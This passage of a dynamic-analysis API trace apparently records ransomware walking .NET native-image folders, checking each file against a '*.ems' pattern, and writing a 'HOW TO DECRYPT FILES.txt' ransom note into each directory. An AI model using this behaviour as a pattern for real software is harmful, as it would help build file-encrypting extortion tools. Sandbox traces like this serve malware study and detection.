lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\", lpString2="System.Runtime.Caching.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll.aux" [0120.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\System.Runtime.Caching.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.633] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Caching.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.633] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.633] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="81ff36170026dab1e67c6eab3e1751be", cAlternateFileName="81FF36~1")) returned 0 [0120.633] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.636] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e828e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e828e10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runt73a1fc9d#", cAlternateFileName="SYSTEM~2.RUN")) returned 1 [0120.636] lstrcmpA (lpString1=".", lpString2="System.Runt73a1fc9d#") returned -1 [0120.636] lstrcmpA (lpString1="..", lpString2="System.Runt73a1fc9d#") returned -1 [0120.637] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.637] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Runt73a1fc9d#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#" [0120.637] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e828e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e828e10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.639] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.639] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e828e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e828e10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.639] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.639] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.639] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1eb533a2b10b40a4cac2ea2aa5347e4f", cAlternateFileName="1EB533~1")) returned 1 [0120.639] lstrcmpA (lpString1=".", lpString2="1eb533a2b10b40a4cac2ea2aa5347e4f") returned -1 [0120.639] lstrcmpA (lpString1="..", lpString2="1eb533a2b10b40a4cac2ea2aa5347e4f") returned -1 [0120.640] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\*.*") returned="*.*" [0120.640] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\", lpString2="1eb533a2b10b40a4cac2ea2aa5347e4f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f" [0120.640] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.643] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.643] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.643] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.643] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.643] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e828e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xe5000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.644] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.644] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0120.644] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0120.644] lstrcmpiA (lpString1="", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0120.644] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\*.*") returned="*.*" [0120.644] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" [0120.644] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\") returned="" [0120.644] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt" [0120.644] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\how to decrypt files.txt")) returned 0xffffffff [0120.644] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.647] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.647] CloseHandle (hObject=0x90) returned 1 [0120.647] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\", lpString2="System.Runtime.Remoting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll" [0120.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll", pszSpec="*.ems") returned 0 [0120.648] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e84ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.648] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Remoting.ni.dll.aux") returned -1 [0120.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Remoting.ni.dll.aux") returned -1 [0120.648] lstrcmpiA (lpString1="", lpString2="System.Runtime.Remoting.ni.dll.aux") returned -1 [0120.648] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll") returned="System.Runtime.Remoting.ni.dll" [0120.648] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" [0120.648] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\") returned="" [0120.648] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt" [0120.648] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\how to decrypt files.txt")) returned 0x20 [0120.648] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\", lpString2="System.Runtime.Remoting.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll.aux" [0120.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\System.Runtime.Remoting.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.649] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e84ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.649] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7e84ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7e84ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1eb533a2b10b40a4cac2ea2aa5347e4f", cAlternateFileName="1EB533~1")) returned 0 [0120.649] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.649] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7640c910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7640c910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runt9064068c#", cAlternateFileName="SYSTEM~1.RUN")) returned 1 [0120.649] lstrcmpA (lpString1=".", lpString2="System.Runt9064068c#") returned -1 [0120.649] lstrcmpA (lpString1="..", lpString2="System.Runt9064068c#") returned -1 [0120.649] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.649] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Runt9064068c#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#" [0120.650] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7640c910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7640c910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.653] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.653] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7640c910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7640c910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.653] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.653] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.653] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2bcb9d5e9dfab75d491d144f711008cf", cAlternateFileName="2BCB9D~1")) returned 1 [0120.654] lstrcmpA (lpString1=".", lpString2="2bcb9d5e9dfab75d491d144f711008cf") returned -1 [0120.654] lstrcmpA (lpString1="..", lpString2="2bcb9d5e9dfab75d491d144f711008cf") returned -1 [0120.654] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\*.*") returned="*.*" [0120.654] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\", lpString2="2bcb9d5e9dfab75d491d144f711008cf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf" [0120.654] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.658] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.658] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76432a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.658] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.658] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.658] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7640c910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76432a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x55200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.658] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0120.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0120.658] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0120.658] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\*.*") returned="*.*" [0120.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" [0120.658] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\") returned="" [0120.658] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt" [0120.658] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\how to decrypt files.txt")) returned 0xffffffff [0120.659] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.662] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.662] CloseHandle (hObject=0x90) returned 1 [0120.662] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\System.Runtime.Serialization.Formatters.Soap.ni.dll") 